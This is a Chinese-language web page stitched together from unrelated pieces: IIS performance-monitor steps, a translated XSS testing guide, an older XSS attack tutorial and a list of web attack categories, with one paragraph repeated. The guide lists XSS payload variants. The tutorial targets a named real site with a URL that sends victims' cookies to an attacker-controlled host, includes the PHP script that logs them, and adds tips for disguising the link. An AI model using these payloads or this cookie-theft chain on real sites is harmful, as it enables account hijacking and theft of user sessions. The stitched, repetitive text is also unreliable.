1、开始→控制面板-〉管理工具→性能
2、系统监控器，点工具添加
2、性能对象，选择 Web Service
4、“从列表中选择计数器”，选择 Bytes Total/sec ，即每秒字节数。
5、“从列表中选择实例”，选择要查看的站点，可以按Ctrl键多选，也可以点上面的“所有实例”。
6、点击“添加”按钮，点击“关闭”按钮。

    到目前为止，对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴，那么请直接跳到本文的测试部分。如果您对此一无所知，请按顺序认真阅读！如果某个怀有恶意的人（攻击者）可以强迫某个不知情的用户（受害者）运行攻击者选择的客户端脚本，那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况，因为它不仅与脚本有关，而且它甚至不一定是跨站点的。所以，它就是一个在发现这种攻击时起的一个名字，并且一直沿用至今。从现在开始，我们将使用它常见的缩写名称“XSS”。

　　XSS 攻击的过程涉及以下三方：

　　•攻击者

　　•受害者

　　•存在漏洞的网站（攻击者可以使用它对受害者采取行动）

　　在这三方之中，只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体，一般不会受到影响。可以用多种方式发起 XSS 攻击。例如，攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯，网站会显示一个页面并在受害者的计算机上执行脚本。

　　XSS 漏洞是什么样的呢？

　　作为一名 Web 开发人员或测试人员，您肯定知道 Web 应用程序的技术基础是由 HTTP 和 HTML 组成的。HTTP 协议是 HTML 的传输机制，可使用代码设计 Web 页面布局和生成页面。

　　如果 Web 应用程序接受用户通过 HTTP 请求（如 GET 或 POST）提交的输入信息，然后使用输出 HTML 代码在某些地方显示这些信息，便可能存在 XSS 漏洞。下面是一个最简单的例子：

　　1. Web 请求如下所示：

　　GET http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title

　　2. 在发出请求后，服务器返回的 HTML 内容包括：

　　<h1>Section Title</h1>

　　可以看到，传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由 Web 应用程序插入到 <h1> 标记中。通过提供输入内容，攻击者可以控制 HTML。

　　3. 现在，如果站点没有在服务器端对用户输入加以过滤（因为总是可以绕过客户端控件），那么恶意用户便可以使用许多手段对此漏洞加以滥用：

　　攻击者可以通过摆脱 <h1> 标记来注入代码：
http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title</h1><scrīpt>alert(‘XSS%20attack’)</scrīpt>

　　这个请求的 HTML 输出将为：

　　<h1>Section Title</h1><scrīpt>alert(‘XSS attack’)</scrīpt>

　　即便是这个最简单的例子，攻击者也可以利用此连接完成数不清的事情。让我们看看会有哪些潜在的威胁，然后讨论一些更高级的测试方法。

　　XSS 攻击的威胁有多么严重？

　　由于能够在生成的 Web 页面中注入代码，能想到的威胁有多么严重，就可以有多么严重的威胁。攻击者可以使用 XSS 漏洞窃取 Cookie，劫持帐户，执行 ActiveX，执行 Flash 内容，强迫您下载软件，或者是对硬盘和数据采取操作。

　　只要您点击了某些 URL，这一切便有可能发生。每天之中，在阅读来自留言板或新闻组的受信任的电子邮件的时侯，您会多少次地单击其中的 URL？

　　网络钓鱼攻击通常利用 XSS 漏洞来装扮成合法站点。可以看到很多这样的情况，比如您的银行给你发来了一封电子邮件，向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。如果仔细观察这些 URL，它们实际上可能利用了银行网站中存在的漏洞，它们的形式类似于 http://mybank.com/somepage?redirect=<scrīpt>alert(‘XSS’)</scrīpt>，这里利用了“redirect”参数来执行攻击。

　　如果您足够狡猾的话，可以将管理员定为攻击目标，您可以发送一封具有如下主题的邮件：“求救！这个网站地址总是出现错误！”在管理员打开该 URL 后，便可以执行许多恶意操作，例如窃取他（或她）的凭证。

　　好了，现在我们已经理解了它的危害性 -- 危害用户，危害管理员，给公司带来坏的公共形象。现在，让我们看看本文的重点 -- 测试您的网站是否存在这些问题。

　　测试 XSS 漏洞

　　多年以来，我一直是一名全职的安全顾问，已经做过无数次的这种测试了。我将好的测试计划归结为两个字：彻底。对于你我来说，查找这些漏洞与能够有机会在 Bugtraq 或 Vulnwatch 上吹嘘一番没有任何关系；它只与如何出色完成负责的工作有关。如果这意味着对应用程序中所有的单个查询字符串参数、cookie 值 以及 POST 数据值进行检查，那么这只能表明我们的工作还不算太艰巨。

　　显然，一次完整的安全性检查所涉及的内容通常远远超出寻找 XSS 漏洞那样简单；它需要建立整体的威胁模型，测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。好在执行这样彻底的工作时，各个领域之间都存在重叠。比如，在测试 XSS 漏洞时，经常会同时找出错误处理或信息泄漏问题。

　　我假设您属于某个负责对 Web 应用程序进行开发和测试的小组。在这个幸运的位置上，您可以混合使用黑盒和白盒方法。每种方法都有它自己的优点，结合使用时甚至能相互提供支持。

　　1.按顺序准备您的工具包

　　测试工作也可以是自动化的，但是我们在这里只讨论手动操作。手动测试的必备工具包括：

　　•Paros proxy (http://www.parosproxy.org)，用于截获 HTTP 通信数据

　　•Fiddler (http://www.fiddlertool.com/fiddler)，用于截获 HTTP 通信数据

　　•Burp proxy (http://www.portswigger.net/proxy/)

　　•TamperIE (http://www.bayden.com/dl/TamperIESetup.exe)，用于修改 GET 和 POST

　　我们以上至少列出了三种 Web 代理软件。也可以寻找其他不同的类似产品，因为每种产品都有它自己的独到之处。下面，您需要在 Web 浏览器发出 HTTP 请求之前截获这些请求，并修改它们以注入 XSS 测试代码。上面所有这些工具都可以完成这项任务，某些工具还会显示返回的 HTML 源代码（如果您选择了截获服务器响应）。

　　截获客户端发出的 GET 和 POST 请求非常重要。这样可以绕过所有的客户端 javascrīpt 输入验证代码。我在这里要提醒所有 Web 开发人员 -- 客户端安全控制是靠不住的。应该总是在服务器端执行有效性验证。

　　2.确定站点及其功能 -- 与开发人员和 PM 交流

　　绘制一些简单的数据流图表，对站点上的页面及其功能进行描述。此时，可以安排一些与开发人员和项目经理的会议来建立威胁模型。在会议上尽可能对应用程序进行深入探讨。站点公开了 Web 服务吗？是否有身份验证表单？有留言板吗？有用户设置页面吗？确保列出了所有这些页面。

　　3.找出并列出所有由用户提供输入的点

　　对站点地图进行进一步细化。我通常会为此创建一个电子表格。对于每个页面，列出所有查询字符串参数、cookie 值、自定义 HTTP 标头、POST 数据值和以其他形式传递的用户输入。不要忘记搜索 Web 服务和类似的 SOAP 请求，并找出所有允许用户输入的字段。

　　分别列出每个输入参数，因为下面需要独立测试每个参数。这可能是最重要的一个步骤！如果阅读下面的电子表格，您会看到我已经在示例站点中找出了一大堆这样的东西。如 forwardURL 和 lang 这样的查询字符串。如 name、password、msgBody、msgTitle 和这样的 POST 数据，甚至某些 Cookie 值。所有这些都是我们感兴趣的重要测试内容。

　　4.认真思考并列出测试用例

　　使用已经得到的电子表格并列出各种用来测试 XSS 漏洞的方法。我们稍候将讨论各种方法，但是现在先让我们看看我的电子表格的屏幕截图，请注意，我列出了页面上允许的每个值以及每个值的所有测试类型。这种记录测试的方法仅是我自己的习惯，您可以使用自己的方法。我喜欢记录所有东西，以便我能知道已经做了哪些工作和哪些工作没有做。

　　test cases" src="http://www.microsoft.com/technet/images/community/columns/secmvp/mvp_screenshot.JPG" border=0>

　　5.开始测试并注意输出结果

　　在查找漏洞的过程中，最重要的部分并不是您是否找到了漏洞。而是您是否真正知道究竟发生了哪些事情。对于 XSS，只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗？是否在 IFRAME 标记中？它在 CLSID 标记中吗？在 IMG SRC 中吗？某些 Flash 内容的 PARAM NAME 是怎样的？

　　我会检查所有这些情况，如果您对所输入内容的目的十分了解，可以调整您的测试来找出问题。这意味着您可能需要添加一个额外的封闭括号“>”来让某个标记变得完整，或者添加一个双引号来关闭标记内的一个元素。或者，您可能需要使用 URL 或 HTML 来编码您的字符，例如将双引号变为 %22 或 "。

　　6.嗯，并不那么容易，这个站点看来防范比较严密。现在该怎么办呢？

　　那么，也许您的简单测试用例 <scrīpt>alert(‘hi’)</scrīpt> 并不能产生期望中的警告对话框。仔细想想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会过滤“scrīpt”这个词。重新研究为何输入会产生这样的输出，并理解每个值（查询字符串、cookie、POST 数据）的作用。“pageId=10”这样的查询字符串值可能对输出没有影响，因此不值得花费时间测试它。有时，最好试着注入单个字符（例如尖括号、双引号标记或者圆括号），看看应用程序是否过滤这些字符。然后，便可以知道您面对的过滤级别究竟如何。接着，可以调整测试方法，对这些字符进行编码并重试，或者寻找其他注入办法。

改变测试用例

　　我恐怕无法充分对此进行说明：研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能产生输出，那么不要在它们上面浪费时间。如果可以，请进行研究，因为您需要根据输出对测试进行相应的修改。我使用了各种变化形式来找出能接受和显示脚本代码的参数。因为这涉及太多内容，因此在这里无法一一进行讨论，但是请务必注意以下几种情况：

　　1.>"'><scrīpt>alert(‘XSS')</scrīpt>

　　2.>%22%27><img%20src%3d%22javascrīpt:alert(%27XSS%27)%22>

　　3.>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

　　4.AK%22%20style%3D%22background:url(javascrīpt:alert(%27XSS%27))%22%20OS%22

　　5.%22%2Balert(%27XSS%27)%2B%22

　　6.<table background="javascrīpt:alert(([code])"></table>

　　7.<object type=text/html data="javascrīpt:alert(([code]);"></object>

　　8.<body ōnload="javascrīpt:alert(([code])"></body>

　　有许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的，常见的变化形式经常是在脚本代码前面加上 “>””，以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码，尝试绕过服务器端的输入过滤功能。此外，因为尖括号“<>”通常会在输入时被过滤和从输出中删除，所以还必须尝试不需要尖括号的 XSS，例如 ”&{alert('XSS')};”

　　持久和动态

　　找出一个成功的 XSS 颇费周折，因为在开始时 XSS 攻击可能并不是那么显而易见的。随便举一个例子，如果向网站添加一条新留言并在“msgTitle”值中注入代码，在提交数据后，您可能不会立即看到脚本代码被执行。但是，当您访问留言板的时侯，将会在 HTML 页面中使用“msgTitle”值并将其作为脚本代码执行。这种情况被称作持久性 XSS 攻击，如果包含脚本代码的值将被保存到客户端或者后端系统并在稍候的时间被执行，便会发生此种攻击。

　　而与此相对的是动态 XSS 攻击，这种攻击会立即执行并只发生一次。比如，如果某个链接或 GET 请求在某个用来控制页面输出的查询字符串中包含了脚本代码，那么在点击链接后会立即显示输出。

　　总结

　　XSS 测试通常只是整个 Web 应用程序安全性审查工作的一小部分，但是在执行测试时必须细致和彻底。在多年的工作中，我一直强调使用电子表格或其他方式来记录站点的所有页面，以及每个页面接受的输入值（查询字符串、cookie、POST 数据、SOAP），这是在测试前必须进行的一个重要步骤。与此同等重要的是，理解输入以及它在输出的 HTML 页面上的呈现方式。如果您知道了应用程序处理输入的方式，就会非常迅速地完成许多工作。不要浪费时间测试那些不会作为输出显示的输入。与开发人员和 PM 进行交流，并在开始测试前建立完善的威胁模型。

　　必须细致和彻底。在多年的工作中，我一直强调使用电子表格或其他方式来记录站点的所有页面，以及每个页面接受的输入值（查询字符串、cookie、POST 数据、SOAP），这是在测试前必须进行的一个重要步骤。与此同等重要的是，理解输入以及它在输出的 HTML 页面上的呈现方式。如果您知道了应用程序处理输入的方式，就会非常迅速地完成许多工作。不要浪费时间测试那些不会作为输出显示的输入。与开发人员和 PM 进行交流，并在开始测试前建立完善的威胁模型。

 

     由于目前介绍跨站脚本执行漏洞的资料还不是很多，而且一般也不是很详细，所以希望本文能够比较详细的介绍该漏洞。由于时间仓促，水平有限，本文可能有不少错误，希望大家不吝赐教。

　　声明，请不要利用本文介绍的任何内容，代码或方法进行破坏，否则一切后果自负！

　　【漏洞成因】
　　原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。

　　【漏洞形式】
　　这里所说的形式，实际上是指CGI输入的形式，主要分为两种：
　　1．显示输入
　　2．隐式输入
　　其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。
　　显示输入又可以分为两种：
　　1． 输入完成立刻输出结果
　　2． 输入完成先存储在文本文件或数据库中，然后再输出结果
　　注意：后者可能会让你的网站面目全非！：（
　　而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。

　　【漏洞危害】
　　大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。
　　1． 获取其他用户Cookie中的敏感数据
　　2． 屏蔽页面特定信息
　　3． 伪造页面信息
　　4． 拒绝服务攻击
　　5． 突破外网内网不同安全设置
　　6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
　　7． 其它
　　一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。

　　【利用方式】
　　下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条理更清晰一些，我们将针对每种危害做一个实验。
　　为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如 NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。
　　另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。
　　好的，一切就绪，我们开始做实验！：）

　　实验一：获取其他用户Cookie中的敏感信息
　　我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行：
　　1． 进入首页http://www.5460.net/
　　2． 输入用户名“<h1>”，提交，发现服务器返回信息中包含了用户提交的“<h1>”。
　　3． 分析抓包数据，得到实际请求：
　　http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
　　4． 构造一个提交，目标是能够显示用户Cookie信息：
　　http://www.5460.net/txl/login/login.pl?username=<scrīpt>alert(document.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6
　　5． 如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：
　　http://www.5460.net/txl/login/login.pl?username=<scrīpt>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6。其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下：

<?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."/n"); fclose($fp); } header("Location:http://www.5460.net");

　　注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
　　6． 如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以获取该用户Cookie中的敏感信息。
　　7． 后面要做什么就由你决定吧！

　　实验二：屏蔽页面特定信息
　　我们仍然以5460.net作为例子，下面是一个有问题的CGI程序：
　　http://www.5460.net/txl/liuyan/liuyanSql.pl
　　该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你的名字，对吧？
　　既然有了上面的种种条件，我们可以不妨作出这样的结论：某个用户可以“屏蔽”其两次留言之间的所有留言！
　　当然，我们说的“屏蔽”不是“删除”，用户的留言还是存在的，只不过由于HTML的特性，我们无法从页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是除了我们这些研究CGI安全的人来说，有多少人有事没事都看HTML源代码？
　　由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。
　　注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？

　　实验三：伪造页面信息
　　如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而已。

　　实验四：拒绝服务攻击
　　现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的Javascrīpt脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可以隐藏身份。

　　实验五：突破外网内网不同安全设置
　　这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于Internet区域，可能你不允许Javascrīpt执行，而在Intranet区域，你就允许Javascrīpt执行。一般来说，前者的安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意Javascrīpt脚本对你进行攻击，但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet 区域。

　　实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样的蠕虫，都是很好的例子。
　　更多的例子请参考下列链接： 

Internet Explorer Pop-Up OBJECT Tag Bug http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html Internet Explorer Javascrīpt Modeless Popup Local Denial of Service Vulnerability http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html MSIE6 can read local files http://www.xs4all.nl/~jkuperus/bug.htm MSIE may download and run progams automatically http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html File extensions spoofable in MSIE download dialog http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html the other IE cookie stealing bug (MS01-055) http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html Microsoft Security Bulletin MS01-055 http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html Incorrect MIME Header Can Cause IE to Execute E-mail Attachment http://www.kriptopolis.com/cua/eml.html

　　跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。

　　实验七：其它
　　其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。

　　【隐藏技巧】
　　出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。
　　1． URL编码
　　比较一下：

http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y＝6

　　你觉得哪个更有隐蔽性？！

　　2． 隐藏在其它对象之下
　　与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？

　　3． 嵌入页面中
　　让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。

　　4． 合理利用事件
　　合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。

　　【注意事项】
　　一般情况下直接进行类似<scrīpt>alert(document.cookie)</scrīpt>之类的攻击没有什么问题，但是有时CGI程序对用户的输入进行了一些处理，比如说包含在’’或””之内，这时我们就需要使用一些小技巧来绕过这些限制。
　　如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。

　　【解决方法】
　　要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：
　　程序员：
　　1． 过滤或转换用户提交数据中的HTML代码
　　2． 限制用户提交数据的长度

　　用户：
　　1． 不要轻易访问别人给你的链接
　　2． 禁止浏览器运行Javascrīpt和ActiveX代码

　　附：常见浏览器修改设置的位置为：

Internet Explorer： 工具->Internet选项->安全->Internet->自定义级别 工具->Internet选项->安全->Intranet->自定义级别 Opera： 文件->快速参数->允许使用Java 文件->快速参数->允许使用插件 文件->快速参数->允许使用Javascrīpt

　　【常见问题】
　　Q：跨站脚本执行漏洞在哪里存在？
　　A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。

　　Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？
　　A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。

 

1.web平台：web平台软件漏洞,包括Http底层服务软件(比如，IIS或Apache)等底层基础设施，以及应用程序开发框架(如Asp.Net或者PHP).

　　2.web应用：对授权、认证、站点结构、输入验证、程序逻辑以及管理接口进行攻击。

　　3.数据库：通过数据库查询进行特权命令，操纵查询以返回额外的数据集，这里最具破坏性的攻击是SQL注入。

　　4.web客户端：活动内容执行、客户端软件漏洞攻击、跨站脚本错误，以及钓鱼欺骗

　　5.传输：窃听客户-服务器通信，SSL重定向

　　6.可用性：如果要你迅速地指出更危险的"黑客"技术，拒绝服务攻击(denial of service,DoS)经常会被遗漏，其实DoS攻击是任何可公开访问的Web应用所面临的最大威胁之一。让任何资源都对公众开放本来就有很大的挑战，在网络世界中更是如此。

　　其中Open Web Application Security Project(owas)就是流行之一。